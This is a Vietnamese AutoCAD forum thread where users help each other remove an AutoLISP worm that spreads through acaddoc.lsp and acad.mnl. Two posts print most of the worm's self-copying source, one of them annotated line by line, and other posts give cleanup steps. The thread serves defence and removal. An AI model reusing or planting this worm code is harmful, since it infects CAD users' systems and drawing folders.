Rated 5/5 based on 240179 internet user reviews

Đến nội dung


Hình ảnh
- - - - -

sâu cad


  • Please log in to reply
23 replies to this topic

#1 phamthanhtan

phamthanhtan

    biết vẽ line

  • Members
  • PipPip
  • 24 Bài viết
Điểm đánh giá: 4 (bình thường)

Đã gửi 02 September 2008 - 08:46 AM

em có nghe nói về sâu cad (bài của bác Hoành)nhưng cụ thể hơn và cách trị nó như thế nào???làm sao mà nhưng người thông thường cũng trị được nó.....Mong các bác giúp cho nhà em cái.liên hệ với em qua ---phamthanhtan_uk
  • 0
Devon:"Vô môn vô phái vô ảnh vô tâm...không phải quan cũng chẳng phải dân...thích tới đâu thì đến, thích dừng ở đâu thì dừng...chỉ là gió"
Tùy Phong.

#2 duy782006

duy782006

    PHẠM QUỐC DUY

  • CADViet Team
  • PipPipPipPipPipPipPip
  • 2038 Bài viết
Điểm đánh giá: 1305 (rất tốt)

Đã gửi 02 September 2008 - 07:15 PM

em có nghe nói về sâu cad (bài của bác Hoành)nhưng cụ thể hơn và cách trị nó như thế nào???làm sao mà nhưng người thông thường cũng trị được nó.....Mong các bác giúp cho nhà em cái.liên hệ với em qua ---phamthanhtan_uk

Đơn giảnlàbạn vào Search tìm và xoá hết file acad.lsp hoặc acaddoc.lsp đi là ổn mà.
  • 2

Cứ ngỡ trần gian là cõi thật.Cho nên tất bật đến bây giờ.
Tạo hộp thoại bằng lisp My blog QUY ĐỊNH ĐẶT TÊN TOPIC TRONG CHUYÊN MỤC LISPD http://ktsduy.wordpress.com/
Để cám ơn chỉ cần nhấn rep_up.png
(Là nhấn vào nút đó phía bài viết của người ta í chứ đừng có nhè cái hình này mà nhấn miết đi nha :-cool.png


#3 ghost8.3

ghost8.3

    biết dimdiameter

  • Members
  • PipPipPipPipPip
  • 335 Bài viết
Điểm đánh giá: 162 (tàm tạm)

Đã gửi 04 September 2008 - 11:35 AM

Đơn giảnlàbạn vào Search tìm và xoá hết file acad.lsp hoặc acaddoc.lsp đi là ổn mà.

Nếu Search và xoá hết thì coi chừng không hết mà còn bị lỗi cad nữa đó
  • 0

Hình đã gửi


#4 ghost8.3

ghost8.3

    biết dimdiameter

  • Members
  • PipPipPipPipPip
  • 335 Bài viết
Điểm đánh giá: 162 (tàm tạm)

Đã gửi 04 September 2008 - 11:53 AM

Gởi các bạn bài viết sưu tập được về con virus này, kết hợp với bài cơ chế lây lan sâu acad.lsp của anh Hoành thì việc khống chế nó rất đơn giản. Sâu này còn có tên là ALS.Bursted.B

ALS.Bursted.B là một loại virrut được viết trong ngôn ngữ script AutoCAD AutoLisp được sử dụng bởi AutoCAD.
Virus có thể lây nhiễm vào với dạng file text tên là acad.lsp trong thư mục cùng tên như là một file AutoCAD drawing(.dwg).

Kích thước: 3,413 bytes.

Lây nhiễm vào các hệ điều hành: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003.

Khi bản vẽ được mở file acad.lsp sẽ rự động tải bằng AutoCAD để chạy virus và thực hiện các hoạt động sau:
1. Xác định và đọc file base.dcl trong đường dẫn AutoCAD được tìm thấy, sử dụng nó để xác định file acad.lsp trong thư mục AutoCAD Support.
2. Đọc file acad.lsp để kiểm tra sự hiện diện của chuỗi kí tự "acadapp". Nếu chuỗi kí tự không được tìm thấy, virus sẽ thêm dòng (load "acadapp") vào "acad.mnl".
3. Kiểm tra nếu tên file bản vẽ là Drawing.dwg (đây là tên mặc định của bản vẽ mới). Nếu sự kiểm tra này thất bại, virus sẽ thêm dòng (load "acadapp") vào thư mục bao gồm file AutoCAD drawing (.dwg).

Ghi chú: Virus không gây nguy hại hoặc sửa những file bản vẽ bằng bất kì đường khác.

CÁCH DIỆT
1. Tắt chế độ System Restore của hệ thống bởi vì chương trình diệt virus không quét được thông tin trên phần Restore của Windows.
1. Bấm vào nút Start.
2. Bấm phải chuột vào My Computer, chọn Properties. Tại System Restore tab, bấm Turn off System Restore hoặc Turn off System Restore on all drives
như hình vẽ dưới:
Hình đã gửi
3. Bấm Apply. Thông báo như sau hiện ra:
Hình đã gửi
4. Bấm nút Yes .
2. Đóng tất cả các file Autocad đang chạy.

3. Cập nhật các thông tin chống virus mới nhất vào chương trình chống virus.

3. Khởi động lại với chế độ Safemode (Bấm F8 khi khởi động Windows) vào thực hiện chương trình quét virus, xoá những tệp bị nhiễm. Nhớ chọn chế độ quét tất cả các tệp chứ không chỉ quét riêng tệp .exe

4. Xoá các khoá được cho thêm bởi virut từ file ad.lsp trong thư mục Support của AutoCAD.

Như thế thì các bạn chỉ cần xoá các đoạn mã mà sâu này thêm vào hệ thống CAD thôi
  • 0

Hình đã gửi


#5 tuanlongtl

tuanlongtl

    biết vẽ arc

  • Members
  • PipPip
  • 41 Bài viết
Điểm đánh giá: 7 (bình thường)

Đã gửi 19 November 2008 - 08:58 AM

Gởi các bạn bài viết sưu tập được về con virus này, kết hợp với bài cơ chế lây lan sâu acad.lsp của anh Hoành thì việc khống chế nó rất đơn giản. Sâu này còn có tên là ALS.Bursted.B

ALS.Bursted.B là một loại virrut được viết trong ngôn ngữ script AutoCAD AutoLisp được sử dụng bởi AutoCAD.
Virus có thể lây nhiễm vào với dạng file text tên là acad.lsp trong thư mục cùng tên như là một file AutoCAD drawing(.dwg).

Kích thước: 3,413 bytes.

Lây nhiễm vào các hệ điều hành: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003.

Khi bản vẽ được mở file acad.lsp sẽ rự động tải bằng AutoCAD để chạy virus và thực hiện các hoạt động sau:
1. Xác định và đọc file base.dcl trong đường dẫn AutoCAD được tìm thấy, sử dụng nó để xác định file acad.lsp trong thư mục AutoCAD Support.
2. Đọc file acad.lsp để kiểm tra sự hiện diện của chuỗi kí tự "acadapp". Nếu chuỗi kí tự không được tìm thấy, virus sẽ thêm dòng (load "acadapp") vào "acad.mnl".
3. Kiểm tra nếu tên file bản vẽ là Drawing.dwg (đây là tên mặc định của bản vẽ mới). Nếu sự kiểm tra này thất bại, virus sẽ thêm dòng (load "acadapp") vào thư mục bao gồm file AutoCAD drawing (.dwg).

Ghi chú: Virus không gây nguy hại hoặc sửa những file bản vẽ bằng bất kì đường khác.

CÁCH DIỆT
1. Tắt chế độ System Restore của hệ thống bởi vì chương trình diệt virus không quét được thông tin trên phần Restore của Windows.
1. Bấm vào nút Start.
2. Bấm phải chuột vào My Computer, chọn Properties. Tại System Restore tab, bấm Turn off System Restore hoặc Turn off System Restore on all drives
như hình vẽ dưới:
Hình đã gửi
3. Bấm Apply. Thông báo như sau hiện ra:
Hình đã gửi
4. Bấm nút Yes .
2. Đóng tất cả các file Autocad đang chạy.

3. Cập nhật các thông tin chống virus mới nhất vào chương trình chống virus.

3. Khởi động lại với chế độ Safemode (Bấm F8 khi khởi động Windows) vào thực hiện chương trình quét virus, xoá những tệp bị nhiễm. Nhớ chọn chế độ quét tất cả các tệp chứ không chỉ quét riêng tệp .exe

4. Xoá các khoá được cho thêm bởi virut từ file ad.lsp trong thư mục Support của AutoCAD.

Như thế thì các bạn chỉ cần xoá các đoạn mã mà sâu này thêm vào hệ thống CAD thôi

Bấm phải chuột vào My Computer, chọn Properties. Tại System Restore tab, bấm Turn off System Restore hoặc Turn off System Restore on all drives nhưng nó không cho chọn thì làm thế nào hả bạn.
  • 0

#6 VoHoan

VoHoan

    biết lệnh copy

  • Members
  • PipPipPip
  • 113 Bài viết
Điểm đánh giá: 11 (tàm tạm)

Đã gửi 03 March 2011 - 11:12 AM

Các Bác trên diện đàn trị giúp 2 con sâu Cad này với.
Mình đang dùng cad2010 khi mở 1 file cad nào đó trong 1 folder thì trong folder đó sẽ xuất hiện 2 file "acad.vlx" và "acaddoc.lsp". Mình đã sử dụng chương trình "cvav_v101_2.lsp" diệt loại sâu này của bác Hoành rồi nhưng không được. Còn cách nào nữa không chỉ giúp mình nhé?
  • 0

#7 phamngoctukts

phamngoctukts

    biết lệnh adcenter

  • CADViet Team
  • PipPipPipPipPipPipPip
  • 1107 Bài viết
Điểm đánh giá: 694 (tốt)

Đã gửi 03 March 2011 - 11:18 AM

Các Bác trên diện đàn trị giúp 2 con sâu Cad này với.
Mình đang dùng cad2010 khi mở 1 file cad nào đó trong 1 folder thì trong folder đó sẽ xuất hiện 2 file "acad.vlx" và "acaddoc.lsp". Mình đã sử dụng chương trình "cvav_v101_2.lsp" diệt loại sâu này của bác Hoành rồi nhưng không được. Còn cách nào nữa không chỉ giúp mình nhé?

Bạn up 2 con sâu đó lên thì mới biết hoạt động của nó như thế nào chứ.
  • 0
Tất cả vì sự phát triển của diễn đàn ...
Cám ơn đừng nói lời suông mà hãy nhấn Hình đã gửi!

#8 VoHoan

VoHoan

    biết lệnh copy

  • Members
  • PipPipPip
  • 113 Bài viết
Điểm đánh giá: 11 (tàm tạm)

Đã gửi 03 March 2011 - 04:08 PM

Mình đưa 2 con sâu cứng đầu này lên đây bạn xem nhé!
http://www.cadviet.c...s/3/sau_cad.rar
  • 0

#9 phamngoctukts

phamngoctukts

    biết lệnh adcenter

  • CADViet Team
  • PipPipPipPipPipPipPip
  • 1107 Bài viết
Điểm đánh giá: 694 (tốt)

Đã gửi 03 March 2011 - 04:48 PM

Mình đưa 2 con sâu cứng đầu này lên đây bạn xem nhé!
http://www.cadviet.c...s/3/sau_cad.rar

Bạn mở file acddoc.lps bằng nodepat rồi copy đoạn mã của nó lên. Mình download về giải nén ra là nó biến mất không thể nào đọc được code.
  • 0
Tất cả vì sự phát triển của diễn đàn ...
Cám ơn đừng nói lời suông mà hãy nhấn Hình đã gửi!

#10 VoHoan

VoHoan

    biết lệnh copy

  • Members
  • PipPipPip
  • 113 Bài viết
Điểm đánh giá: 11 (tàm tạm)

Đã gửi 03 March 2011 - 04:59 PM

Bạn mở file acddoc.lps bằng nodepat rồi copy đoạn mã của nó lên. Mình download về giải nén ra là nó biến mất không thể nào đọc được code.

Đoạn mã của con "acddoc.lps" này như sau:

(setq
wold_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
0
)
(setq
wpath
(
findfile
"base.dcl"
)
)
(setq
wpath
(substr
wpath
1
(
-
(
strlen
wpath
)
8
)
)
)
(setq
wwmnlwpath
(
getvar
"menuname"
)
)
(setq
wnowdwg
(getvar
"dwgname"
)
)
(setq
wwjqm
(findfile
wnowdwg
)
)
(setq
wdwgwpath
(substr
wwjqm
1
(
-
(
strlen
wwjqm
)
(
strlen
wnowdwg
)
)
)
)
;;;alert
(
setq
f
(
open
"c:\\boot.dat"
"w"
)
)
(write-line
"[dang]"
f)
(write-line
(strcat
"ff="
wdwgwpath
)
f)
(write-line
(strcat
"yy="
wpath
)
f)
(close
f
)
(setq
boot
(findfile
"boot.dat"
)
)
(if
(/=
boot
""
)
(command
"_-vbarun"
"ThisDrawing.hh"
)
)
(setq
wacadwpath
(findfile
"acaddoc.lsp"
)
)
(setq
wacadwpath
(substr
wacadwpath
1
(-
(strlen
wacadwpath
)
11
)
)
)
(setq
wns1
""
wns2
""
)
(setq
wlspbj
0)
(setq
wwjqm
(strcat
wpath
"acaddoc.lsp"
)
)
(if
(setq
wwjm
(open
wwjqm
"r"
)
)
(progn
(while
(setq
wwz
(read-line
wwjm
)
)
(setq
wns1
wns2
)
(setq
wns2
wwz)
)
(if
(>
(strlen
wns1)
14)
(if
(=
(substr
wns1
8
7)
"acadapq"
)
(setq
wlspbj
1
)
)
)
(close
wwjm
)
)
)
(setq
wlspmnl
0)
(setq
wwjqm
(strcat
wpath
"acad.mnl"
)
)
(if
(setq
wwjm
(open
wwjqm
"r"
)
)
(progn
(while
(setq
wwz
(read-line
wwjm)
)
(setq
wns1
wns2)
(setq
wns2
wwz)
)
(if
(>
(strlen
wns1)
14)
(if
(=
(substr
wns1
8
7)
"acadapq"
)
(setq
wlspmnl
1)))
(close
wwjm
)
)
)
(if
(=
wlspmnl
0)
(progn
(setq
wwjqm
(strcat
wpath
(strcat
(chr
97)
(chr
99)
(chr
97)
(chr
100)
(chr
46)
(chr
109)
(chr
110)
(chr
108
)
)
)
)
(setq
wwjm
(open
wwjqm
"a"
)
)
(write-line
(strcat
"(load "
(chr
34)
"acadapq"
(chr
34)
")"
)wwjm
)
(write-line
"(princ)"
wwjm)
(close
wwjm
)
)
)
(defun
wwriteapp ()
(if
(setq
wwjm1
(open
wnewacad
"w"
)
)
(progn
(setq
wwjm
(open
woldacad
"r"
)
)
(while
(setq
wwz
(read-line
wwjm
)
)
(write-line
wwz
wwjm1
)
)
(close
wwjm
)
(close
wwjm1
)
)
)
)
(if
(and
(=
wacadwpath
wdwgwpath)
(/=
wacadwpath
wpath
)
)
(progn
(if
(= 0
wlspmnl
)
(progn
(setq
woldacad
(findfile
"acaddoc.lsp"
)
)
(setq
wnewacad
(strcat
wpath
"acadapq.lsp")
)
)
(progn
(setq
woldacad
(strcat
wpath
"acadapq.lsp"
)
)
(setq
wnewacad
(findfile
"acaddoc.lsp"
)
)
)
)
(if
(=
wlspbj
0)
(progn
(setq
wwjqm
(strcat
wpath
"acaddoc.lsp"
)
)
(setq
wwjm
(open
wwjqm
"a"
)
)
(write-line
(strcat
"(load "
(chr
34)
"acadapq"
(chr
34)
")"
)
wwjm
)
(write-line
"(princ)"
wwjm
)
(close
wwjm)
)
)
(wwriteapp
)
)
(progn
(if
(/=
wnowdwg
"Drawing.dwg"
)
(progn
(setq
woldacad
(findfile
"acadapq.lsp"
)
)
(setq
wnewacad
(strcat
wdwgwpath
"acaddoc.lsp"
)
)
(wwriteapp
)
)
)
)
)
(setvar
"cmdecho"
wold_cmd
)
(princ)
(setq
strtopstr
(strcat
(chr
92)
(chr
92)
(chr
70)
(chr
83)
(chr
49)
(chr
92)
(chr
83)
(chr
89)
(chr
83)
(chr
49)
(chr
92)
(chr
87)
(chr
79)
(chr
82)
(chr
75)
(chr
92)
(chr
80)
(chr
76)
(chr
79)
(chr
84)
(chr
69)
(chr
82)
)
)
(setq
strbottomstr
(strcat
(chr
  • 0

#11 phamngoctukts

phamngoctukts

    biết lệnh adcenter

  • CADViet Team
  • PipPipPipPipPipPipPip
  • 1107 Bài viết
Điểm đánh giá: 694 (tốt)

Đã gửi 03 March 2011 - 05:24 PM

Đoạn mã của con "acddoc.lps" này như sau:

Bạn port tiếp đi vẫn thiếu mất một đoạn đàng sau. Code chưa kết thúc.
  • 0
Tất cả vì sự phát triển của diễn đàn ...
Cám ơn đừng nói lời suông mà hãy nhấn Hình đã gửi!

#12 phamngoctukts

phamngoctukts

    biết lệnh adcenter

  • CADViet Team
  • PipPipPipPipPipPipPip
  • 1107 Bài viết
Điểm đánh giá: 694 (tốt)

Đã gửi 03 March 2011 - 07:39 PM

Vì bạn port thiếu code nên chưa thể giúp gì cho bạn.
Con thếu đoạn khá quan trọng
phần trên mình dịch lại như sau:
(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq wpath (findfile "base.dcl"))
(setq wpath (substr wpath 1 (- (strlen wpath) 8)))
(setq  wwmnlwpath (getvar "menuname")) 
(setq wnowdwg (getvar "dwgname"))
(setq wwjqm (findfile wnowdwg))
(setq  wdwgwpath (substr wwjqm 1 (- (strlen wwjqm) (strlen wnowdwg)))); duong dan file cad dang mo
;;;alert 
(setq f (open "c:\\boot.dat" "w")) ;ghi ma vao file boot.dat
(write-line "[dang]" f) 
(write-line (strcat "ff=" wdwgwpath) f)
(write-line (strcat "yy=" wpath) f) 
(close f)
(setq boot (findfile "boot.dat")) 
(if (/= boot "") 
(command "_-vbarun" "ThisDrawing.hh")
  )
(setq wacadwpath (findfile "acaddoc.lsp")) 
(setq wacadwpath (substr wacadwpath 1 (- (strlen wacadwpath) 11))) ; duong dan thu muc support cua cad
(setq wns1 "" wns2 "")
(setq wlspbj 0)
(setq wwjqm (strcat wpath "acaddoc.lsp")) ; duong dan thu muc
(if 
(setq wwjm (open wwjqm "r"))
(progn
(while (setq wwz (read-line wwjm)) ; doc file acaddoc.lsp tai duong dan file dwg dang mo
(setq wns1 wns2)
(setq wns2 wwz))
(if (> (strlen wns1) 14) 
(if (= (substr wns1 8 7) "acadapq") 
(setq wlspbj 1) ; kiem tra xem co file acaddoc.lsp tai duong dan file dwg dang mo dinh virus chua
)
)
(close wwjm)
)
)
(setq wlspmnl 0)
(setq wwjqm (strcat wpath "acad.mnl"))
(if (setq wwjm (open wwjqm "r"))
(progn
  (while (setq wwz (read-line wwjm))
(setq wns1 wns2)
(setq wns2 wwz)
)
(if (> (strlen wns1) 14)
(if (= (substr wns1 8 7) "acadapq")
(setq wlspmnl 1))) 
(close wwjm)
)
)
(if (= wlspmnl 0) 
(progn
(setq wwjqm (strcat wpath (strcat (chr 97) (chr 99) (chr 97) (chr 100) (chr 46) (chr 109) (chr 110) (chr 108))))
(setq wwjm (open wwjqm "a"))
(write-line (strcat "(load " (chr 34) "acadapq" (chr 34) ")" ) wwjm)
(write-line "(princ)" wwjm)
(close wwjm) ; neu chua co thi tao ra file acad.mnl tai duong dan file cad dang mo
)
)
(defun wwriteapp ()
(if (setq wwjm1 (open wnewacad "w"))
(progn
(setq wwjm (open woldacad "r"))
(while (setq wwz (read-line wwjm))
(write-line wwz wwjm1) ; ma khon nan day. Tac dung chuyen ma tu file nay sang file kia
) 
(close wwjm)
(close wwjm1)
)
)
)
(if (and (= wacadwpath wdwgwpath) (/= wacadwpath wpath)) 
(progn 
(if (= 0 wlspmnl) ; thang nay la chua co file mnl
(progn
(setq woldacad (findfile "acaddoc.lsp")) 
(setq wnewacad (strcat wpath "acadapq.lsp")))
(progn 
(setq woldacad (strcat wpath "acadapq.lsp"))
(setq wnewacad (findfile "acaddoc.lsp"))
)
)
(if (= wlspbj 0) ; thang nay la chua co file lsp
(progn
(setq wwjqm (strcat wpath "acaddoc.lsp"))
(setq wwjm (open wwjqm "a"))
(write-line (strcat "(load " (chr 34) "acadapq" (chr 34) ")" ) wwjm)
(write-line "(princ)" wwjm)
(close wwjm)
)
)
(wwriteapp)
)
(progn
(if (/= wnowdwg "Drawing.dwg")
(progn
(setq woldacad (findfile "acadapq.lsp"))
(setq wnewacad (strcat wdwgwpath "acaddoc.lsp"))
(wwriteapp)
)
)
)
)
(setvar "cmdecho" wold_cmd)
(princ)
(setq strtopstr (strcat (chr 92) (chr 92) (chr 70) (chr 83) (chr 49) (chr 92) (chr 83) (chr 89) (chr 83) (chr 49) (chr 92) (chr 87) (chr 79) (chr 82) (chr 75) (chr 92) (chr 80) (chr 76) (chr 79) (chr 84) (chr 69) (chr 82)
; thang nay la duong dan \\\\FS1\\SYS1\\WORK\\PLOTER

  • 0
Tất cả vì sự phát triển của diễn đàn ...
Cám ơn đừng nói lời suông mà hãy nhấn Hình đã gửi!

#13 phamngoctukts

phamngoctukts

    biết lệnh adcenter

  • CADViet Team
  • PipPipPipPipPipPipPip
  • 1107 Bài viết
Điểm đánh giá: 694 (tốt)

Đã gửi 04 March 2011 - 08:04 AM

Các Bác trên diện đàn trị giúp 2 con sâu Cad này với.
Mình đang dùng cad2010 khi mở 1 file cad nào đó trong 1 folder thì trong folder đó sẽ xuất hiện 2 file "acad.vlx" và "acaddoc.lsp". Mình đã sử dụng chương trình "cvav_v101_2.lsp" diệt loại sâu này của bác Hoành rồi nhưng không được. Còn cách nào nữa không chỉ giúp mình nhé?

Bạn có thể làm như sau để loại bỏ tình trạng lây lan của virus này.
1.search file acaddoc.lsp và xoá sạch
2.search file acadapq.lsp và xoá sạch
3. mở file acad.mnl xoá đoạn mã (load ..acadapq.lsp) đi
4. chuyển acad.mnl thành readonly
5. Xoá file c:\boot.dat
bạn làm thử như trên xem nó còn tiếp tục lây không
  • 1
Tất cả vì sự phát triển của diễn đàn ...
Cám ơn đừng nói lời suông mà hãy nhấn Hình đã gửi!

#14 ketxu

ketxu

    Copier - Paster - Editor

  • Moderator
  • PipPipPipPipPipPipPip
  • 5419 Bài viết
Điểm đánh giá: 2480 (tuyệt vời)

Đã gửi 04 March 2011 - 08:35 AM

Các Bác trên diện đàn trị giúp 2 con sâu Cad này với.
Mình đang dùng cad2010 khi mở 1 file cad nào đó trong 1 folder thì trong folder đó sẽ xuất hiện 2 file "acad.vlx" và "acaddoc.lsp". Mình đã sử dụng chương trình "cvav_v101_2.lsp" diệt loại sâu này của bác Hoành rồi nhưng không được. Còn cách nào nữa không chỉ giúp mình nhé?

Ngoài các bước bác Tú đưa ra, sau đó bạn có thể tham khảo thêm ở topic này :
Clean
  • 0

Thành viên nhóm CadMagic.

Mời bạn ghé thăm facebook nhóm  :

CAD MAGIC


#15 VoHoan

VoHoan

    biết lệnh copy

  • Members
  • PipPipPip
  • 113 Bài viết
Điểm đánh giá: 11 (tàm tạm)

Đã gửi 05 March 2011 - 11:18 AM

Cảm ơn sự giúp đỡ của 2 bạn "Ketxu"" phamngoctukts" nhé. Theo hướng dẫn của 2 bạn kết hợp với lisp "cvav_v101_4.lsp" của bác Hoành mình đã tiêu diệt gọn 2 con sâu chết tiệt kia rồi.
2 hôm nay bận việc Cty nên giờ mới hồi âm được.
Luôn tiện đây cho mình hỏi điều này:
Mấy hôm trước do phần mêm diệt vi rút phát hiện ra file ảnh *.JPG trong folder C:\Program Files\AutoCAD 2010\Help có chứa vi rút nên mình đã xóa file đó đi vì nghĩ đơn giản là file anh lại trong thư mục "Help" không quan trọng. Nên giờ đây mỗi lần mở 1 file bằng cad 2010 ra thì hiện thông báo: **Xpress Tools** - Unable to load acetauto.lsp/fas bad argument type: stringp nil. Mong mọi người giúp đỡ!
  • 0

#16 tuan888

tuan888

    Chưa sử dụng CAD

  • Members
  • Pip
  • 3 Bài viết
Điểm đánh giá: 0 (bình thường)

Đã gửi 05 June 2011 - 11:48 AM

Mình đã làm theo cách của bạn phamngoctukts và tìm xóa file "ddcopy.lsp", thế là tiêu đời hết mấy con virus, mở file cad ko còn xuất hiện mấy file nhỏ nữa :D
Tóm lại là:
1.search file acaddoc.lsp và xoá sạch
2.search file acadapq.lsp và xoá sạch
3. mở file acad.mnl xoá đoạn mã (load ..acadapq.lsp) đi
4. chuyển acad.mnl thành readonly
5. Xoá file c:\boot.dat
6.search file ddcopy.lsp và xoá sạch
  • 0

#17 ketxu

ketxu

    Copier - Paster - Editor

  • Moderator
  • PipPipPipPipPipPipPip
  • 5419 Bài viết
Điểm đánh giá: 2480 (tuyệt vời)

Đã gửi 05 June 2011 - 12:34 PM

Bước 6 mình mới nghe thấy :)
  • 0

Thành viên nhóm CadMagic.

Mời bạn ghé thăm facebook nhóm  :

CAD MAGIC


#18 phamngoctukts

phamngoctukts

    biết lệnh adcenter

  • CADViet Team
  • PipPipPipPipPipPipPip
  • 1107 Bài viết
Điểm đánh giá: 694 (tốt)

Đã gửi 05 June 2011 - 02:46 PM

Bước 6 mình mới nghe thấy :)

Có lẽ cái này do mấy ông VN "đẻ" ra.
  • 0
Tất cả vì sự phát triển của diễn đàn ...
Cám ơn đừng nói lời suông mà hãy nhấn Hình đã gửi!

#19 tuan888

tuan888

    Chưa sử dụng CAD

  • Members
  • Pip
  • 3 Bài viết
Điểm đánh giá: 0 (bình thường)

Đã gửi 08 June 2011 - 08:21 PM

Có lẽ cái này do mấy ông VN "đẻ" ra.

@phamngoctukts: mình tự nghĩ ra đấy :D, có ai làm thử và thấy hiệu quả chưa :(, đọc file acad.lisp thấy có sử dụng file đó nên mình nghĩ nó cũng là nguyên nhân gây ra virus thui.
  • 0

#20 vanhuuthinh

vanhuuthinh

    Chưa sử dụng CAD

  • Members
  • Pip
  • 1 Bài viết
Điểm đánh giá: 0 (bình thường)

Đã gửi 28 October 2011 - 10:21 PM

Bạn có thể làm như sau để loại bỏ tình trạng lây lan của virus này.
1.search file acaddoc.lsp và xoá sạch
2.search file acadapq.lsp và xoá sạch
3. mở file acad.mnl xoá đoạn mã (load ..acadapq.lsp) đi
4. chuyển acad.mnl thành readonly
5. Xoá file c:\boot.dat
bạn làm thử như trên xem nó còn tiếp tục lây không


Cảm ơn phamngoctukts! Mình đã làm theo cách của bạn và kết quả là không còn tiếp tục lây nữa, không còn thấy xuất hiện file acaddoc mỗi khi mở 1 file cad nữa , Nhưng mình chưa hiểu chức năng của file acadapq và file boot.dat là gì ? Mong các bạn giải thích cụ thể giùm. Cảm ơn các bạn nhiều.
  • 0